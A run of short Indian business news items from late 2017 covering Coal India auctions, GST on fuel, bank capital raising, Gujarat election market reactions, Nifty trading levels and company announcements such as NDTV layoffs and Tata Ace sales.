Regarding electronic auction (e-auction) prices and demand, he said that it is a good news for Coal India that demand is still persisting and auction prices are going up.

e-auctions have gone up substantially, Singh mentioned.

The company sold around 113 million tonne (mt) coal under e-auctions in FY17. We are targeting to dispatch more than 600 mt in FY18, he said.

He expects e-auction volumes to be higher in FY18 versus FY17.

According to him, quality of coal has improved which is aiding realisations.

We are targeting Rs 8,500 crore of capex in this year, he added.
Xiaomi India will cross the USD 2 billion mark in revenues in the current financial year, its Managing Director Manu Kumar Jain has said.

According to a report published in The Economic Times, Jain said the India business of the internet company is likely to sustain the same pace of growth next year. There will also be an increase in offline sales and new product launches beyond smartphones, he added.

The company clocked its highest-ever sales in India this year, which included sales of 4 million smartphones during the Diwali period.

According to the IDC Smartphone Tracker report for the third quarter of 2017, the company jointly shared the number one spot with Samsung for the Smartphone Brand in India.

The company has launched a slew of budget smartphones in India over the past couple of years, with the Redmi Note 4 emerging as one of the most popular buys at the lower end of the pricing spectrum.
The government has taken credit of Rs 4,500 crore (USD 1 billion) from the World Bank in 2011 availed over a period of five years for National Rural Livelihoods Project (NRLP), Parliament was informed.

Minister of State for Rural Development Ram Kripal Yadav said the government had signed an agreement with the World Bank in July 2011 for availing International Development Association (IDA) credit of Rs 4,500 crore for NRLP to be availed over a period of five years.

"The project was restructured in May 2013 and the credit amount reduced to USD 500 million which is now to be availed by June 2018," he said in a written reply in the Rajya Sabha.

"The objective of the loan was to increase effectiveness of the resources being utilised under Deendayal Antyodaya Yojana-National Rural Livelihoods Mission (DAY-NRLM) through professionalising the overall programme management and moving towards a results-based approach throughout the country," the reply said.

The minister has also provided a list of 597 districts and blocks of 13 high poverty states of Assam, Bihar, Gujarat, Chhattisgarh, Jharkhand, Karnataka, Madhya Pradesh, Rajasthan, Maharashtra, Odisha, Tamil Nadu, Uttar Pradesh and West Bengal where NRLP is being implemented.

The government informed the House that at present there is no such proposal to cover the remaining districts by utilising any other loan schemes.
Speaking in the Rajya Sabha on Tuesday Finance Minister Arun Jaitley said the government wants to bring petroleum and petroleum products under the ambit of GST and is awaiting the states response on the same.

Government is in favour of bringing petroleum products under GST. We would like to await consensus of the states and hope states at some stage soner or later agree to the consensus, said Jaitley.

At present, different petroleum products are taxed differently across states. Given the huge variance in the value-added tax (VAT) on petroleum products across the states, the petroleum ministry has been advocating for uniformity in taxes.

A case in point being diesel. While the VAT applicable on diesel in Delhi is 16.75%, it is 28.51% in Mumbai.

Experts believe the finance ministrys plan, if put in practice, will help bring in uniformity in prices.

Petrol & Diesel Rates Yesterday Petrol Rate in Mumbai Yesterday Current Petrol Price Per Litre 106 106 View more Diesel Rate in Mumbai Yesterday Current Petrol Price Per Litre 94 94 View more Show

Tax burden on the products will be quantified. Since they are not a part of GST, the adjoining extra cost will help quantify the burden. Prices of these products shall also reach a probable uniformity, said Bipin Sapra, partner-indirect tax at consultancy firm EY.

Instead of zero ratings, any finite number will have a massive impact on compliances and also call to question some of the existing arrangements in terms of implementation. Idea is to have a rate that wont affect the existing GST chain added Anish De, partner-infrastructure government and healthcare, KPMG India.

According to the Petroleum Planning Analysis Cell (PPAC), which works under the ministry of petroleum and natural gas, total state-wise collection of sales tax on petroleum, oil and lubricant products for 2015-16 amounted to around Rs.1.43 trillion. The total contribution of the petroleum sector to the central exchequer, in 2015-16, was around Rs.2 trillion, including the cess on crude oil, excise duty and custom duty, among others.

This comes at a time when the National Democratic Alliance government wants to improve the energy access for its citizens. India imported 202.85 million tonne (MT) of crude oil in 2015-16 for Rs.4.16 trillion, according to PPAC. For 2014-15, India imported 189 MT of crude oil at a cost of Rs.6.87 trillion.

According to BP Global data, India has emerged as the third largest consumer of crude oil with a consumption of 4.2 million barrels per day (mbpd) for calendar year 2015, after the US (19.39 mbpd) and China (11.96 mbpd). India overtook Japan which consumed 4.15 mbpd.
Commerce and Industry Minister Suresh Prabhu said India will host a meeting of about 40 WTO members in February to muster support for food security and other issues.

"We are trying to call a meeting of almost 30-40 countries (WTO ministerial) in Delhi in February just to help multi-lateral process," Prabhu said here at an event organised by Apparel Export Promotion Council (AEPC).

He, however, did not give details of the meeting.

The proposed meeting would be in the the backdrop of developed nations forming groupings to prepare ground for pushing investment facilitation, preparing rules for e- commerce, promoting gender equality and reducing subsidy on fisheries with a view to curbing illegal, unreported and unregulated fishing.

India has been keenly pushing agriculture issues at the World Trade Organisation (WTO). It has also been raising its voice against bringing new issues, especially those which are not directly linked to trade, on the negotiating table.

On Free Trade Agreement (FTA) with European Union, Prabhu said, he had meeting with the EU minister to discuss various issues.

"When we talk of FTA there is always trade-offs...as a country we have to find how trade-off can benefit us," he said.

EU is great market for India for garments, which is employment generating sector, the minister said, adding that the government is preparing a standard operating procedure for any new FTA to be entered.

Besides EU, he said, India is also in discussion with Canada and Australia for the FTA.

Speaking at the same event, Textile Minister Smriti Irani said the department will do a lot in the coming year for the sector.

She said skilling is another focus for the government and assured all support to garment manufacturer.
Capital raising by a number of public sector banks (PSBs), including PNB and UBI, is credit positive because it will help improve their loss-absorbing buffers, global rating agency Moody's said today.

In a Credit Outlook article, Moody's said that it signals improved access to the equity capital markets and will reduce PSBs' dependence on fund infusion from the government.

"The inability of most PSBs to access the equity markets has been a key capital constraint. The share prices of most PSBs that we rate improved substantially after the Indian governments October announcement of the recapitalisation package for the countrys 21 PSBs," it said.

Last week, Punjab National Bank (PNB) and Union Bank of India (UBI) raised Rs 5,000 crore and Rs 2,000 crore as new capital through qualified institutional placement. Besides, Syndicate Bank raised Rs 1,150 crore.

"The PSBs' capital raises are credit positive because they will help improve the banks loss-absorbing buffers ahead of the gradual phase-in of Basel III norms in the country," it said.

On a pro forma basis, it said, the capital raise will add about 100 basis points to PNBs Common Equity Tier 1 (CET1) ratio, which was 8.1 per cent as of September 2017.

UBI and Syndicate each will add 60-70 basis points to their CET1 ratios, which were 7 per cent and 7.2 per cent, respectively, as of September 2017, it added.
Answer: Mr. Opportunity from Honda

On the back of continued demand for its models, led by the automatic scooter Activa, Honda 2Wheelers has become the largest brand in as many as 15 states and two Union territories over the past six years which together account for over 52 per cent of the market.

Quoting Siam (the umbrella body of the industry) data, Honda today said during the April-September period of this fiscal year, they were the No 1 two-wheeler brand in Maharashtra with 43 per cent market share, Gujarat (46), Andhra & Telengana (33), and it enjoys 30 per cent volume share in Tamil Nadu.

While in Karnataka it has 35 per cent volume share, in Kerala it leads with 41 per cent, Punjab (36), Delhi (29), Uttarakhand (43), Jammu & Kashmir (36), Himachal (33), Goa and Chandigarh (57 per cent each), Manipur (59), Arunachal (46), The Andaman & Nicobar Islands (52) and Nagaland with 31 per cent volume share, the company said.

Honda said these 15 states and the two Union Territories together account for 52 per cent of all two- wheeler market in the country.

This also means that the Japanese brand tops the entire Western and the Southern regions. This was achieved in the past six year alone when it was the leader only in Arunachal Pradesh and Goa in 2011.

Minoru Kato, president & chief executive, Honda Motorcycle & Scooter India, attributed the achievement tot their "deep understanding of customer needs and dreams coupled with quality of their products."

Over the past six years, Honda has expanded from one to four plants with 11 assembly lines with an installed capacity of 6.4 million units a year, and tripled their network reach.

Till November, Honda has been driving the incremental volume game with close to 50 per cent volume.

Yadvinder Singh Guleria, SVP of the company, attributed the landmark to the increasing scooterization and the rise in its motorcycle sales.

The company has set a 20 per cent or 1 million incremental sales for this fiscal and has already achieved over 17 per cent volume growth till November.
Party workers and supporters celebrating BJP's success in the Gujarat and Himachal Pradesh state assembly elections outside the BJP headquarter, in New Delhi on Monday. (PTI)

The Gujarat Assembly elections were viewed as the litmus test for the Modi government on the backdrop of demonetisation and goods & services tax (GST) which created short-term disruptions for the business community.

The BJP, the ruling party at the Centre, has won both Gujarat and Himachal Pradesh (HP) state elections with a comfortable majority. Its vote share in Gujarat has gone up from 48.3 percent in 2012 to 49.1 percent in 2017.

D-Street gave a thumbs-up to BJP win in both the states but there are lingering concerns that the government focus might shift from reforms to populism in the upcoming Budget 2018.

Analysts advise investors to stick to theme India as a revival of demand in rural India would be the primary focus of the government in the upcoming Budget, suggest experts.

The government will announce its last full budget before the 2019 elections on February 1, which is likely to reveal further details on the PSU bank recapitalisation.

The Gujarat elections outcome had narrowed somewhat, in opinion/exit polls in the past few months and was viewed as a litmus test of the continued popularity of the Central government, more so given the backdrop of initial challenges associated with GST rollout, Citigroup said in a report.

The verdict, in our view, is unlikely to create any jitters but could make BJP more cautious in the run-up to the 2019 general elections. We had highlighted our expectation that a rural pivot in policy focus may be likely in 2018. Rural India, coming off a low base, and with policy support, could throw up interesting opportunities for equity investors, it said.

The global investment bank likes ACC, Dabur, Emami, Hero MotoCorp, HUL, L&T Finance Holdings, M&M, M&M Financial Services and PI Industries as a play on the rural theme.

This is the BJP's sixth consecutive victory in Gujarat state elections and it is the first since Narendra Modi became Prime Minister in May 2014, belying any impact of anti-incumbency after 22 years of its uninterrupted reign.

Winning UP and Gujarat right after big structural reforms like demonetisation and GST, which have created short-term disruption, reaffirms Mr. Modi's popularity and augurs well from the reforms perspective, in our view, Motilal Oswal said in a report.

This is positive from a policy viewpoint as one step into 2018, which has a very busy political calendar, with important state elections - Karnataka, Rajasthan, Madhya Pradesh and Chattisgarh, it said.

Top ideas from the domestic investment bank include names like ICICI Bank, State Bank of India, Shriram Transport Finance, Repco Home Finance, Indraprastha Gas, Emami, Titan Company, Mindtree, Larsen & Toubro, Bharti Airtel and Mahindra & Mahindra (MM).

Heres what other brokerages are saying:

CLSA

In politically more important Gujarat, the margin of the BJP win was smaller than widely held expectations. However, the market was comforted by the fact that BJP was able to retain Gujarat for the sixth-time in a row.

But, the closer-than-expected contest between the BJP and Congress means that the government will further intensify pro-poor or rural policies. The 2018 Union Budget will likely be the last significant budget of the Modi government where it could adopt a political or populist tone.

GST collections are significantly under-shooting government targets. Lower GST collection is a bigger concern for FY19 & not FY18. If a large fiscal slippage materialises in FY19, then yields would harden further and yield hardening would be a negative for NBFCs.

Kotak Institutional Equities

The domestic brokerage firm does not see a major shift in government policies post-Gujarat election results. It feels that the government may continue with the execution of reforms. Kotak further highlighted that the government should increase focus on a specific programme to revive investments and rural economy.

Credit Suisse

BJP improved vote share in Gujarat is the best since 2002. A new Congress President may become a rallying point, though the opposition has deep rivalries. BJP would note the drop in vote shares especially in rural areas & among the youth.

Retaining urban vote shows voter displeasure against demonetisation and GST. The global investment bank expects the budget speech to focus on the farm distress.

It expects a ramp-up of DBT on fertilisers, crop insurance, innovative price guarantees for farmers. Also, contrary to widely held beliefs, Credit Suisse does not expect a fiscal slippage.

: The views and investment tips expressed by investment experts on moneycontrol.com are their own and not that of the website or its management. Moneycontrol.com advises users to check with certified experts before taking any investment decisions.
The 193-member United Nations General Assembly will hold a rare emergency special session on Thursday at the request of Arab and Muslim states on US President Donald Trump's decision to recognize Jerusalem as Israel's capital.

Palestinian UN envoy Riyad Mansour said the General Assembly would vote on a draft resolution calling for Trump's declaration to be withdrawn, which was vetoed by the United States in the 15-member UN Security Council on Monday.

The remaining 14 Security Council members voted in favor of the Egyptian-drafted resolution, which did not specifically mention the United States or Trump but which expressed "deep regret at recent decisions concerning the status of Jerusalem."

It is very worrying that the Security Council failed to issue a resolution that cofirms its previous resolutions and positions regarding the legal status of Jerusalem as an occupied city, a staus that is subject to negotiations on a final resolution for the Palestinian issue based on internationally agreed upon points of reference," Egypt's Ministry of Foreign Affairs said in a statement shortly after the veto.

Mansour said on Monday he hoped there would be "overwhelming support" in the General Assembly for the resolution. Such a vote is non-binding, but carries political weight.

Under a 1950 resolution, an emergency special session can be called for the General Assembly to consider a matter "with a view to making appropriate recommendations to members for collective measures" if the Security Council fails to act.

Only 10 such sessions have been convened, and the last time the General Assembly met in such a session was in 2009 on occupied East Jerusalem and Palestinian territories. Thursday's meeting will be a resumption of that session.

Trump abruptly reversed decades of US policy this month when he recognized Jerusalem as Israel's capital, generating outrage from Palestinians and the Arab world and concern among Washington's western allies.

Trump also plans to move the US embassy to Jerusalem from Tel Aviv. The draft UN resolution calls upon all countries to refrain from establishing diplomatic missions in Jerusalem.

US Ambassador Nikki Haley said on Monday that the resolution was vetoed in the Security Council in defense of US sovereignty and the US role in the Middle East peace process. She criticized it as an insult to Washington and an embarrassment to council members.

Israel seized control of the eastern part of the city in the 1967 Middle East war and annexed East Jerusalem in 1980, a move that has never been recognised by the international community.

The Palestinians have long demanded occupied East Jerusalem for the capital of their future state.

Peace negotiations between the Palestinian authorities and Israel  which have lasted for more than two decades based on the 1993 Oslo accords  have been stalled since 2014.

In recent years, Israel has intensified the construction of hundreds of illegal Jewish settlements in occupied East Jerusalem and the West Bank, thus creating new demographics that weaken the ability of the Palestinians to build a geographically contiguous state.

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In most likelihood, it will be a populist Budget 2018 but the longer-term economic interest of the country will be taken into account to remain in the forefront as an Investment destination for global investments, Anita Gandhi, Whole Time Director at Arihant Capital Markets, said in an exclusive interview with Moneycontrols Kshitij Anand.

Q) Work on Modi Sarkar's last full Budget has already begun. What are your expectations from the big event, do you think we will see a populist budget this time around?

A. In most likelihood, it will be a populist Budget. However, the longer-term economic interest of the country will be taken into account to remain in the forefront as an Investment destination for global investments.

Q) What would you have done if you were the finance minister? What would be on your priority list?

A. The interest of the common man & retail investor & SME will be on the priority list. As their benefit will result into giving momentum to the economy.

Q) Which sectors are likely to see a ray of light in the coming Budget?

A. Private sector capex has still not picked up. We may see some measures to attract private sector investments in infrastructure segment.

Q) It has been a splendid run for markets throughout 2017. What is your expectations for the year 2018? Any big events which could derail the equity rally or market participants will be in a wait and watch mode ahead of general elections?

A. Since 2017 equity markets have given very good returns to the retail as well as Institutional investors. Going forward, domestic inflows are expected to remain strong, especially through SIP mode.

We need to see how FIIs allocations come for India in the year 2018. The sudden jump in oil & commodity prices can have a negative impact on margins of the companies. Otherwise, major economies of the world are expected to grow steadily.

Q) What are you recommending to your clients? Top five stocks for the year 2018?

A. In the Auto sector, we still like M&M & Tata Motors. In Cement, we like Ultratech Cement & Ramco Cement. In Textiles we like Arvind Mills & Nandan Denim.

Q) The September quarter results were not that bad, in fact, there were more positive surprises than disappointments. Do you think we could see a double-digit growth in FY19?

A. Robust growth is likely to pick up in H1 2018 as the drag from the uncertainty of demonetization and GST implementation is expected to fade.

Four months into GST, there are many changes specifically government cut GST for 178 items from 28% to 18%. All this will push earning upward and double-digit growth possible by the end of the year 2018.

Q) Which sectors are looking attractive or a possible play in 2018-19?

A. Sectors which are related to Housing for all by 2022 & sectors which have a positive impact from GST and RERA are the best to look out.

Governments ongoing push on infrastructure, particular roads, will continue to support investment growth next year. The government has announced plans to build more than 80,000km of roads across the country over the next 5 years, with a total investment of USD106bn (0.8% of GDP).

Q) Equity truly outsmarted every other asset class barring Bitcoins. What are your views on this buzzing asset class? Do you think it is a bubble?

A. Difficult to comment at this juncture & we do not have any expertise to comment upon it. Unlike the bubbles in the tech sector in the late-1990s and in US residential property a few years later, a bursting of the bitcoin bubble should not have systemic, macroeconomic implications. The total value of bitcoin is (still) too small, and it has few links with the wider economy.

Q) After a blockbuster 2017, do you see domestic flows ebbing somewhat in the year 2018? If no, what is the kind of money you expect MFs to get in the year 2018? AUM level etc.

A. With MF Industry Witnessed Highest Net Flow Of Rs 40,000 Cr In Nov, 2017 the assets under management (AUM) and household savings as a % GDP indicate that the flow may remain intact in the medium term and current monthly average inflow of Rs 9,000 crore is likely to sustain.

Q) India Inc. raised over Rs70,000 crore so far in the year 2017. What is the kind of fundraising you expect in 2018? Any particular IPOs you watch out for? And, which sectors are likely to dominate IPO activity next year?

A. Fundraising in 2018 is expected to be more than funds raised in 2017. The year 2017, we saw a lot of Insurance Companies issues. We may see more of them coming in 2018. Companies with new technology ideas & digitization are likely to raise money in 2018, one can watch out IRCTC IPO next year.
The Nifty50 closed above its crucial resistance level of 10,450 on Tuesday and is all set to reclaim its record high of 10,490 if not on Wednesday then most probably this week.

Technical and options data support bulls at current levels and a rally could well be on the cards as long as global cues remain stable.

The index formed a bullish candle for the second straight day in a row on Tuesday and is trading well above most of its short-term moving averages.

Riding on positive global cues and BJP victory back home in Gujarat and Himachal Pradesh, the broader market has witnessed a lot of actions this week. The S&P BSE Midcap and smallcap indices hit a fresh record high.

India VIX fell down sharply for third consecutive sessions by 7.11 percent at 12.18. India VIX has fallen down by 27 percent in last three sessions and needs to hold below 13-12.50 zones to get the smooth ride.

Traders are advised to ride the rally with strict stop losses placed below 10,400. The index has strong support placed near 10,330-10350 levels while resistance is placed near 10600.

It was heartening to see bulls cementing their gains with a small but solid bull candle in Tuesday's session after the channel breakout witnessed in Mondays trading session. This breakout above 10,350 levels is throwing up a new target placed on 10,690 levels, Mazhar Mohammad, Chief Strategist  Technical Research & Trading Advisory, Chartviewindia.in told Moneycontrol.

However, on long-term charts, critical resistance points are placed between 10,600  10,650 levels. Hence, traders are advised to ride this rally by placing a stop below 10,400 levels on closing basis for a target placed in the zone of 10,600  10,650 levels, he said.

We have collated the top ten data points to help you spot profitable trade:

Key Support & Resistance Level for Nifty

The Nifty closed at 10463.20 on Tuesday. According to Pivot charts, the key support level is placed at 10,422, followed by 10,380. If the index starts to move higher, key resistance levels to watch out are 10,488 and 10,513.

Nifty Bank

The Nifty Bank closed at 25,716, up 121 points, or 0.48 percent. Important Pivot level, which will act as crucial support for the index, is placed at 25,637, followed by 25,559. On the upside, key resistance levels are 25,776, followed by 25,836.

Call Options Data

Maximum Call open interest (OI) of 62 lakh contracts stands at strike price 10,500, which will act as a crucial resistance level for the index in the December series; followed by 10,600, which now holds 43.70 lakh contracts in open interest, and 10,400, which has accumulated 37 lakh contracts in OI.

Call unwinding was seen at strike price 10,500, which shed 4 lakh contracts; followed by 10,400, which saw shedding of 3.9 lakh contracts, 10300 saw shedding of 2.7 lakh contracts.

Put Options Data

Maximum put OI of 83 lakh contracts was seen at strike price 10,000, which will act as a crucial base for the index in December series; followed by 10400, which now holds 51 lakh contracts and 10,200 which has now accumulated 50.84 lakh contracts in open interest.

Put writing was seen at strike prices 10,400 (19 lakh contracts added), 10500 (5.1 lakh contracts added), and 10300 (4.2 lakh contracts added).

FII & DII Data

Foreign institutional investors (FIIs) sold shares worth Rs 407 crore, while domestic institutional investors bought shares worth Rs 357 crore in the Indian equity market on Tuesday, as per provisional data available on the NSE.

Stocks with high delivery percentage:

High delivery percentage suggests that investors are accepting the delivery of the stock, which means that investors are bullish on the stock.

130 stocks saw long build-up:

56 stocks saw short covering:

A decrease in open interest along with an increase in price mostly indicates short covering.

19 stocks saw short build-up:

An increase in open interest along with a decrease in price mostly indicates short positions being built up.

8 stocks saw long unwinding:

Long unwinding happens when there is a decrease in OI as well as in price.

Bulk Deals:

Butterfly Gandhimathi Appliances Ltd:

The media-shy investor, Ashish Kacholia, who is known for picking multibaggers in mid and smallcap stocks bought 2 lakh shares at Rs 525

KNR Constructions Limited:

Kamidi Yashoda, non-executive director sold 8 Lakh shares at an average price of Rs276

Orchid Pharma:

Serum Institute of India Private Ltd sold 7.05 lakh shares at an average price of Rs19.37.

Analyst Meet/Briefings:

ACC is meeting Premji Investment in Mumbai on 20th December

Stocks in news:

Axis Bank: Appointment of Mr. Stephen Pagliuca as Additional Non-Executive (Nominee) Director of the Bank.

IndusInd Bank: Approval of the Competition Commission of India to the proposed Amalgamation of Bharat Financial Inclusion Limited (formerly known as 'SKS Microfinance Limited') with IndusInd Bank Limited

JP Associates: State Bank of India (SBI) has invoked the pledge of 10 Crore Equity Shares of Jaypee Infratech Limited (JIL), held by the Company.

Bharti Airtel: The telecom major announced the acquisition of Tigo Rwanda Ltd by Airtel Rwanda Ltd, a subsidiary of Bharti Airtel Ltd. The acquisition is subject to regulatory and statutory approval.

Bharti Airtel deposits 'interim penalty' of Rs 2.5 cr with UIDAI

JM Financial: JM Financial Products Limited, a subsidiary of the Company, in Fairassets has reduced from 9.84% (on a fully diluted basis) to 7.62% (on a fully diluted basis) of the total paid-up capital.

Thomas Cook: The company announced the allotment of Equity Shares under Thomas Cook Employees Stock Option Plan 2007 and Sterling Holiday Resorts (India) Limited Employee Stock Option Scheme 2012.

Container Corp: An MOU was signed between Container Corporation of India (CONCOR) and Port of Singapore Authority, PSA (Bharat Mumbai Container Terminals Private Limited -BMCT, the fourth terminal at JNPT).

Suzlon bags 252 MW wind turbine contract in Gujarat

HDFC to raise Rs 13000 crore via QIP or private placement

Amara Raja opens largest two-wheeler battery unit, invests Rs 700 crore

7 stocks under ban period on NSE

Security in ban period for the next trade date under the F&O segment includes companies in which the security has crossed 95% of the market-wide position limit.

Securities which are banned for trading today include names like Fortis Healthcare, HDIL, Jet Airways, JP Associates, JSW Energy, TV18 Broadcast, and Wockhardt.

Fund Flow Picture:

Brokerage House views:

DB On Jubilant Food: BUY| Target Rs2000The company remains top pick in consumer discretionaryRs99 price point will enhance value-proposition positioning for Dominos

Turnaround plans implemented are steps in the right direction

Nomura on Bharti Airtel: BUY| Target Rs625Acquisition of Tigo Rwanda at 6x 2017 adjusted EBITDA

Tigo acquisition will elevate co to #2 operator in Rwanda

Macquarie on ONGC: Initiating Coverage with Outperform| Target Rs290Target implies 60% potential upside & 6% dividend yieldRealisations & margin to gradually rise

See the mispricing w.r.t HPCL deal a substantial opportunity

Jefferies On Tata Steel: Underperform| Target Rs536Spreads/Steel Prices could moderate & may lead to potential earnings downgradeAt 7.4x FY19e EBITDA, risk reward appear negative
Agriculture Sector | Technological advancements are reshaping Africas agricultural sector in helping to pioneer a new agro-business strategy. Automation is replacing many jobs traditionally done by farm labourers such as harvesting and crop sorting. (Image Source: )

The good part about elections is that the opposition party exploits and exposes the weakness of the ruling party which comes out in the open in front of the voters. It is left up to the voters to decide if the government can resolve the issue or amplify it.

The recent state election exhibited the weakness of the government in power. In Himachal Pradesh, the Congress government was routed on corruption charges. In Gujarat, the BJP government was saved by the skin of its teeth despite widespread anger among farmers. The votes that the BJP government lost were in rural Gujarat.

Various ministers in the BJP central government were quoted in the press accepting the fact that the setback in Gujarat was because the farmers were neglected. The Finance Minister has been quoted as saying that the results in a handful of Gujarat districts highlighted farmers' issues that the government will analyze and address.

With four important agrarian states going in for elections in 2018, BJP has reasons to worry and too little time to address the issue. Out of the four states, three states -- Rajasthan, Madhya Pradesh, and Chattisgarh are being governed by BJP while Karnataka is under Congress.

Various governments, since independence, have been trying to break the rural or the agrarian issue. However, the approach has always been in providing subsidy and reducing the impact of a crop failure on the farmers. In case of crops of mass consumption minimum support price (MSP) has been introduced but here too it is for cases where the purchases are made by the government.

When all these measures do not work for the government, as a final resort they announce loan waivers for the farmers. This seems to be the latest trend in various states government's policies. In almost all recent state elections over the past few years loan waiver was an electoral promise. It was announced in UP and Punjab. In Gujarat, Congress had announced loan waivers for farmers in its manifesto but the BJP did not and paid a price for it by losing rural Gujarat.

Maharashtra, Madhya Pradesh, and Rajasthan government are already facing farmer fury. Agitations were taken out by farmers from these states to Delhi which resulted in the state governments announcing loan waivers among other sops over the last one year.

The year 2017 was particularly bad for the farming community. Parts of the country were affected by poor monsoon while other parts saw the downside of good rains which saw a bumper crop resulting in prices falling below the cost in many regions.

A number of steps announced by the Prime Minister Narendra Modi government has caused disruption in the entire farm-to-fork logistic chain. Various measures were taken to circumvent the middlemen and allow farmers to sell their goods directly to the customers. While the move has been successful in pockets like those near big cities it has failed to pick up across the country. Same is the case with the electronic marketplace.

The government has spoken of doubling farmers' income but there are no visible success stories to talk about. Soil cards have been issued to a large section of the farming community but again the follow-up steps are slow or completely missing.

To be fair it is still early days to derive benefits of Jan Dhan Accounts, Aadhar, and mobility -- the JAM strategy which the government is banking on to improve agri-economy. It will take years for the government machinery to adopt the structural changes proposed by the government for the agriculture sector.

Till then it is very likely that the government will continue to incentivise the rural economy. Jaitley hinted in an interview that he is open to higher spending in agriculture. He is quoted as saying that higher spending on rural India and agriculture isn't populism. Spending more is a necessity as far as rural India is concerned, he said.

On the other hand, agriculture minister Radha Mohan Singh said the government will intensify farmer welfare schemes and ensure their effective implementation as well as the payment of MSP. He added that initiatives to double farmer income and increase production will gain more speed.

What these statements highlight is that the agriculture ministry is where the action will be in 2018. The government will have to work on improving the efficiency of its machinery so that farmers get their dues in time and state government, at least in the BJP ruled states buy produce from farmers at minimum support price.

In order to promote rural employment, the government may increase the budget for MNERGS (Mahatma Gandhi National Rural Employment Scheme). The Finance Minister was criticised for not increasing the MNREGS budget despite visible signs of stress in rural India. Gujarat election results show the cost of not doing so is electorally very high.

The government may have their long-term plan in place but what seems to work to get rural work is loan waiver. Various banks and the central bank have warned against using loan waivers, but of late Gujarat elections have shown that they will now be the norm rather than the exception.

For more research articles, visit our Moneycontrol Research Page
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State-owned insurance company National Insurance Company is looking to list by March 2018. The company which has received an in-principle approval from Insurance Regulatory and Development Authority of India (IRDAI) may require higher amount of funds than the ones that got listed recently.

K Sanath Kumar, chairman and managing director, National Insurance Company, said: We are hopeful of getting listed by March 2018 and working towards it. We will need adequate amount of funds to support out growth path.

In the general insurance space, ICICI Lombard General Insurance and New India Assurance got listed recently. State-owned reinsurer General Insurance Corporation of India (GIC Re) was also listed in October.

National Insurance, which had its solvency drop to below 1.5, was able to bring it back to the minimum required level of 1.5. The solvency was taken up to 1.9 by reduction in exposure to loss- making group health cover, re-pricing of health and motor products as well as lower subordinate debt.
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New Delhi Television will lay off up to 25 per cent of its workforce over a month as the Prannoy Roy-Radhika Roy-promoted media group refocuses its energy on TV and digital content. In a press release sent to the stock exchanges today, the company said this was necessary as the areas that it is now going to concentrate on required a leaner workforce.

The company has over the last few quarters adopted new technologies to report on events. This includes its reporters using cellphones to record videos at events to break news and otherwise, resulting in lower manpower and logistics costs. The company said the new approach required a leaner workforce and hence it would consider shedding up to 25 percent of the workforce.

The strategy we are adopting calls for a far leaner operation which will feed only our core business: our English and Hindi news channels, and NDTV Convergence and its digital teams that run our news apps and websites, the company said in a BSE notice.

The staff being laid off will come from the ancillary businesses that the group had forayed into over the last few years.

NDTV spent Rs 148.82 crore in 2016-17 (April-March) on employees benefits that included salaries, provident fund and other staff welfare expenses, according to the companys annual report for the year. As on March 31, 2017, there were 1,690 employees on the rolls of the company.

This isnt the first time that the company is laying off employees. It shut its business news channel NDTV Profit in June after having converted it into a dual channel along with NDTV Prime, an infotainment channel.

There has been wide speculation for the last six months over the fate of the loss-making company. A newspaper had earlier talked of Spicejet promoter Ajay Singh buying stake in the company, a development that was denied by both the parties. NDTV reported a net loss of Rs 53.35 crore in 2016-17 on revenues of Rs 381.73 crore. The company has reported losses in both the quarters of the first half of the ongoing financial year.
Electric two-wheeler maker Okinawa Autotech plans to introduce e-bike in a couple of months as part of its plans to scale up operations in the country.

The company, which today launched its second electric scooter Praise priced at Rs 59,889, has set a target of selling 50,000 units in the next fiscal.

With its first scooter Pride, launched in January this year, the company expects to close the current fiscal with sales of 5,000 units.

"We plan to launch a e-motorcycle in couple of months. We may follow it with another model later," Okinawa Autotech MD Jeetender Sharma told PTI.

The company also plans to come up with a new manufacturing plant in next couple of years.

"We have tentatively shortlisted some locations and depending upon the market we plan to establish a second plant," Sharma said.

The company currently has a plant at Bhiwadi, Rajasthan with an installed capacity of 90,000 units per annum.

Commenting on the new product Praise, Sharma said the model has a range of around 170-200 kilometres on a single charge and can attain a top speed of 75 kilometres per hour.

It also comes with a boot capacity of 19.5 litres and various features like disc brakes, mobile charging point, alloy wheels and different driving modes.
Corporate office of Maruti Suzuki India Limited is pictured in New Delhi

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The skill development ministry and Maruti Suzuki signed an agreement to impart training to youth and enhance their employment potential.

As part of the agreement with the Directorate General of Training (DGT) which comes under the Ministry of Skill Development & Entrepreneurship, "Maruti Suzuki will ensure that not less than 80 per cent of trainees are placed with Maruti Suzuki or its business partners.

"The automobile manufacturer will also ensure eligible trainees take up apprenticeship / higher education in suitable streams and shall also guide the students to become entrepreneurs," an official statement said.

Maruti Suzuki in consultation with DGT will develop specific training modules as per need of the automobile industry. The company shall conduct courses at pan-India locations leveraging the facilities and services available at ITIs, regional training centers, training centers of training partners, vendors and dealers associated with Maruti Suzuki.

"As on December 15, 2017, over 1,680 students have enrolled for the course and this figure is expected to go up to 2,400 by FY2018-19," the statement said.
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Shares of Suzlon Energy advanced 2.5 percent intraday Tuesday as it has received 252 MW wind power projects from leading Global Utility.

This project is won by the utility through SECI II auction held recently.

The company will execute the entire project on a turnkey basis and will also provide operation and maintenance services.

With this order, Suzlon has secured combined orders of 502 MW across SECI- I and SECI- II auctions.

J.P.Chalasani, Group CEO, Suzlon Group said, We are glad to partner with the leading Global Utility yet again for their SECI  II bid project.

We are encouraged by the trust and confidence demonstrated by them in Suzlons technologically advanced products, it added.

At 10:06 hrs Suzlon Energy was quoting at Rs 13.71, up Rs 0.26, or 1.93 percent on the BSE.

Posted by Rakesh Patil
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The No 1 mini-truck with 65 per cent market share, the Ace from the Tata Motors stable, has crossed the 2-million-milestone since its launch 12 years ago.

The Ace platform since the launch in 2005 has so far rolled out 15 variants, based on engine type, engine power and body configurations, the company said in a statement today.

The company claimed that every third minute, an Ace targeted at the last mile connectivity/delivery, has given helped give birth to a new business, or generated employment, in the hinterland, since its launch.

Girish Wagh, head of commercial vehicles business at Tata Motors said as the country's first mini-truck, the Ace over the past 12 years has gone on to sell 20 lakh units and leads the market with a whopping 65 per cent volume share.

Tata Motors introduced the Ace in 2005 as the first mini-truck. Designed and developed for enhancing customer experience and maximising revenue of the operator, the Ace has always been an all-rounder in this segment, helping the operator elevate his business, he said.

Today, the Ace family comprises Ace, Zip, Mega and the Mint for small commercial vehicle cargo and the Magic, Mantra and the Iris for passenger movement in rural and urban areas.

Looking at the success of the Ace, the peers like Ashok Leyland's Dost and Mahindra's Jeeto have also entered the fray with success.

With a USD 42-billion in revenues, Tata Motors is the largest automobile manufacturer in the country offering a slew of models in the passenger vehicles, utility vehicles, buses, trucks and defence mobility solutions.

